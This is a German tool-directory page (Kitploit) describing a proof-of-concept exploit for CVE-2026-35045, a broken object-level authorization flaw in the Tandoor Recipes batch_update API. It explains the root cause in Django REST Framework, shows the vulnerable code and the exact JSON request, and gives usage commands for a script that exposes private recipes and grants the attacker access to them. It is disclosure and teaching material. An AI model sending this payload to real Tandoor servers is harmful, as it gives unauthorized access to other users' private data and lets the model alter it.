Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-35045-PoC — Proof-of-Concept-Exploit für CVE-2026-35045, eine Schwachstelle in der Objektzugriffskontrolle (broken object-level authorization) in Tandoor Recipes, die unbefugte Rezeptänderungen über den `batch_update`-API-Endpunkt demonstriert. | Kitploit
Tools/GitHubGitHub/filipegaudard/cve-2026-35045-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationAPI-SicherheitstestsPenetrationstestsLernen & Bildung
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

Proof-of-Concept-Exploit für CVE-2026-35045, eine Schwachstelle in der Objektzugriffskontrolle (broken object-level authorization) in Tandoor Recipes, die unbefugte Rezeptänderungen über den `batch_update`-API-Endpunkt demonstriert.

Repository anzeigen
1119vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-35045 — Fehlerhafte Objekt-Level-Autorisierung in Tandoor Recipes

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


Zusammenfassung

Der Endpunkt PUT /api/recipe/batch_update/ in Tandoor Recipes v2.6.1 erlaubt jedem authentifizierten Benutzer innerhalb eines Space, jedes Rezept in diesem Space zu ändern — einschließlich privater Rezepte, die anderen Benutzern gehören. Dies umgeht vollständig die Objekt-Level-Autorisierungsprüfungen, die auf allen standardmäßigen Einzelrezept-Endpunkten erzwungen werden.

Die Grundursache ist eine Verhaltenslücke in Django REST Framework: Listen-Aktionen mit detail=False rufen niemals has_object_permission() auf, sondern nur has_permission(). Der Queryset filtert ausschließlich nach space=request.space, ohne Prüfung auf created_by, private oder die shared-Liste. Ein Angreifer kann private Rezepte zwangsweise offenlegen, sich selbst dauerhaften Zugriff gewähren, die Berechtigungen anderer Benutzer widerrufen und Metadaten manipulieren — alles in einem einzigen API-Aufruf, der HTTP 200 OK mit leerem Body zurückgibt.

Schwachstellendetails

FeldWert
CVE-IDCVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — Autorisierungsumgehung durch benutzergesteuerten Schlüssel
CVSS v3.18.1 HOCH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Betroffene VersionTandoor Recipes ≤ 2.6.1
AnbieterTandoorRecipes/recipes

MITRE ATT&CK-Zuordnung

Technik-IDNameRelevanz
T1078Gültige KontenAngreifer verwendet legitime Anmeldedaten mit geringen Rechten, um die Autorisierung zu umgehen
T1565.001Manipulation gespeicherter DatenÄndern privater Rezepte und ACLs, die anderen Benutzern gehören

Analyse der Grundursache

1. detail=False umgeht Objekt-Level-Berechtigungsprüfungen

Datei: cookbook/views/api.py

@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← Keine created_by- oder private-Prüfung
        )

In Django REST Framework sind Aktionen, die mit detail=False registriert werden, Listen-Aktionen. Sie rufen niemals get_object() auf, was bedeutet, dass check_object_permissions() und CustomRecipePermission.has_object_permission() nie ausgeführt werden. Nur has_permission() wird ausgeführt — das prüft die Space-Mitgliedschaft, nicht den Rezeptbesitz.

2. Standard-Endpunkte sind korrekt geschützt

PUT /api/recipe/{id}/ durchläuft den vollständigen DRF-Berechtigungsablauf:

get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → verweigert den Zugriff, wenn das Rezept privat ist und nicht dem Anforderer gehört/geteilt wird

Der batch_update-Endpunkt überspringt diese gesamte Kette stillschweigend.

3. Beschreibbare Felder über Batch

RecipeBatchUpdateSerializer legt die folgenden Felder offen — beschreibbar auf jedem Rezept im Space:

FeldAuswirkung
privateSichtbarkeit des Rezepts umschalten
shared_add / shared_remove / shared_setZugriffskontrollliste manipulieren
keywords_add / keywords_remove / keywords_setRezeptmetadaten ändern
working_time / waiting_timeZeitdaten des Rezepts ändern

Angriffsablauf

┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ Angreifer│ ─────────────────────────────────────→│  Tandoor-Server │
│ (Benutzer B)│   {"recipes":[2],"private":false,  │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (Space-Mitglied)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ NIE AUFGERUFEN│
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← Keine Besitzprüfung
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  Rezept-ID 2   │
                                                   │  (gehört A)    │
                                                   │  private=false ← gepatcht
                                                   │  shared=[2]  ← selbst gewährt
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ Angreifer (B)  │
                                                   │ hat jetzt      │
                                                   │ vollen Zugriff │
                                                   │ auf Rezept-ID 2│
                                                   └────────────────┘

Proof of Concept

Voraussetzungen

  • Python 3.10+
  • requests-Bibliothek
pip install requests

Verwendung

# Privates Rezept zwangsweise offenlegen und sich selbst Zugriff gewähren (Standard)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# Nur offenlegen (private=false setzen)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# Nur selbst Zugriff gewähren (zur shared-Liste hinzufügen, private=true behalten)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

Module / Aktionen

Tool herunterladen